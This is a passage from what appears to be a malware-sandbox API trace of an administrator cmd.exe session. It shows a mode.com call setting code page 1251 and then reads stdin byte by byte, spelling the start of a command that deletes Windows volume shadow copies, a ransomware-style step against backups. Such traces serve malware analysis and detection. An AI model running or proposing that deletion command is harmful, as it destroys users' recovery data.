_MaxCount=0x7) returned -17 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0043.877] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0043.877] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0043.877] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0043.877] GetProcessHeap () returned 0x2c0000 [0043.877] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d4640 | out: hHeap=0x2c0000) returned 1 [0043.877] GetProcessHeap () returned 0x2c0000 [0043.877] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x12) returned 0x2d8900 [0043.877] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x24f110*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24f0c0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x24f0c0*(hProcess=0x54, hThread=0x50, dwProcessId=0x2ac, dwThreadId=0x750)) returned 1 [0043.890] CloseHandle (hObject=0x50) returned 1 [0043.890] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0043.890] GetProcessHeap () returned 0x2c0000 [0043.890] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc230 | out: hHeap=0x2c0000) returned 1 [0043.890] GetEnvironmentStringsW () returned 0x2daa10* [0043.890] GetProcessHeap () returned 0x2c0000 [0043.890] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xae8) returned 0x2db500 [0043.890] FreeEnvironmentStringsW (penv=0x2daa10) returned 1 [0043.890] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77140000 [0043.891] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0043.891] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x24e9c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x24e9c8, ReturnLength=0x0) returned 0x0 [0043.892] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x24ea00, nSize=0x380, lpNumberOfBytesRead=0x24e9c0 | out: lpBuffer=0x24ea00*, lpNumberOfBytesRead=0x24e9c0*=0x380) returned 1 [0043.892] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0044.992] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x24f008 | out: lpExitCode=0x24f008*=0x0) returned 1 [0044.997] CloseHandle (hObject=0x54) returned 1 [0044.997] _vsnwprintf (in: _Buffer=0x24f278, _BufferCount=0x13, _Format="%08X", _ArgList=0x24f018 | out: _Buffer="00000000") returned 8 [0044.997] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0044.997] GetProcessHeap () returned 0x2c0000 [0044.997] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2db500 | out: hHeap=0x2c0000) returned 1 [0044.997] GetEnvironmentStringsW () returned 0x2daa10* [0044.997] GetProcessHeap () returned 0x2c0000 [0044.997] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xb0e) returned 0x2deb10 [0044.997] FreeEnvironmentStringsW (penv=0x2daa10) returned 1 [0044.997] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0044.997] GetProcessHeap () returned 0x2c0000 [0044.997] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2deb10 | out: hHeap=0x2c0000) returned 1 [0044.997] GetEnvironmentStringsW () returned 0x2daa10* [0044.997] GetProcessHeap () returned 0x2c0000 [0044.998] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xb0e) returned 0x2deb10 [0044.998] FreeEnvironmentStringsW (penv=0x2daa10) returned 1 [0044.998] GetProcessHeap () returned 0x2c0000 [0044.998] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d8900 | out: hHeap=0x2c0000) returned 1 [0044.998] DeleteProcThreadAttributeList (in: lpAttributeList=0x24f0d8 | out: lpAttributeList=0x24f0d8) [0045.011] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0045.016] _get_osfhandle (_FileHandle=1) returned 0xf4 [0045.016] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0045.016] _get_osfhandle (_FileHandle=1) returned 0xf4 [0045.016] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a88e194 | out: lpMode=0x4a88e194) returned 0 [0045.019] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.019] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a88e198 | out: lpMode=0x4a88e198) returned 0 [0045.023] GetConsoleOutputCP () returned 0x4e3 [0045.025] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a89bfe0 | out: lpCPInfo=0x4a89bfe0) returned 1 [0045.026] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0045.027] GetProcessHeap () returned 0x2c0000 [0045.027] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d5b70 | out: hHeap=0x2c0000) returned 1 [0045.027] GetProcessHeap () returned 0x2c0000 [0045.027] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d9b00 | out: hHeap=0x2c0000) returned 1 [0045.027] GetProcessHeap () returned 0x2c0000 [0045.027] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2c1cd0 | out: hHeap=0x2c0000) returned 1 [0045.027] GetProcessHeap () returned 0x2c0000 [0045.027] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d9a80 | out: hHeap=0x2c0000) returned 1 [0045.027] GetProcessHeap () returned 0x2c0000 [0045.027] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d98a0 | out: hHeap=0x2c0000) returned 1 [0045.027] GetProcessHeap () returned 0x2c0000 [0045.027] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2c1ab0 | out: hHeap=0x2c0000) returned 1 [0045.027] GetProcessHeap () returned 0x2c0000 [0045.027] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d6510 | out: hHeap=0x2c0000) returned 1 [0045.027] GetProcessHeap () returned 0x2c0000 [0045.027] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d4610 | out: hHeap=0x2c0000) returned 1 [0045.027] GetProcessHeap () returned 0x2c0000 [0045.027] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d97e0 | out: hHeap=0x2c0000) returned 1 [0045.028] _vsnwprintf (in: _Buffer=0x4a8a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f538 | out: _Buffer="\r\n") returned 2 [0045.028] _get_osfhandle (_FileHandle=1) returned 0xf4 [0045.028] GetFileType (hFile=0xf4) returned 0x3 [0045.028] _get_osfhandle (_FileHandle=1) returned 0xf4 [0045.028] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a89c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0045.028] WriteFile (in: hFile=0xf4, lpBuffer=0x4a89c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f508, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesWritten=0x24f508*=0x2, lpOverlapped=0x0) returned 1 [0045.028] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a88f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0045.028] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a89c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0045.028] _vsnwprintf (in: _Buffer=0x4a88eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f548 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0045.029] _vsnwprintf (in: _Buffer=0x4a88ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x24f548 | out: _Buffer=">") returned 1 [0045.029] _get_osfhandle (_FileHandle=1) returned 0xf4 [0045.029] GetFileType (hFile=0xf4) returned 0x3 [0045.029] _get_osfhandle (_FileHandle=1) returned 0xf4 [0045.029] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a89c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0045.029] WriteFile (in: hFile=0xf4, lpBuffer=0x4a89c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x24f538, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesWritten=0x24f538*=0x26, lpOverlapped=0x0) returned 1 [0045.029] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.029] GetFileType (hFile=0xe8) returned 0x3 [0045.029] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.029] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.029] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.029] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0045.029] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.029] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.029] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.030] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0045.030] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.030] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.030] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.030] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0045.030] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.030] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.030] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.030] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0045.030] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.030] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.030] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.030] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0045.030] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.030] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.031] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.031] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0045.031] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.031] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.031] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.031] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0045.031] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.031] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.031] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.031] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0045.031] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.031] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.031] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.031] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0045.032] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.032] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.032] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.032] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0045.032] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.032] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.032] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.032] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0045.032] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.032] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.032] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.032] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0045.032] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.032] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.032] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.033] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0045.033] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.033] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.033] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.033] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0045.033] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.033] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.033] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.033] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0045.033] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.033] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.033] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.033] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0045.033] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.033] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.034] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.034] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0045.034] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.034] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.034] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.034] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0045.034] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.034] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.034] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.034] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0045.034] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.034] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.034] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.034] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0045.035] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.035] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.035] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.035] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0045.035] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.035] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.035] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.035] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0045.035] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.035] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.035] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.035] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0045.035] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.035] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.036] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.037] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0045.037] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.037] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.037] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, 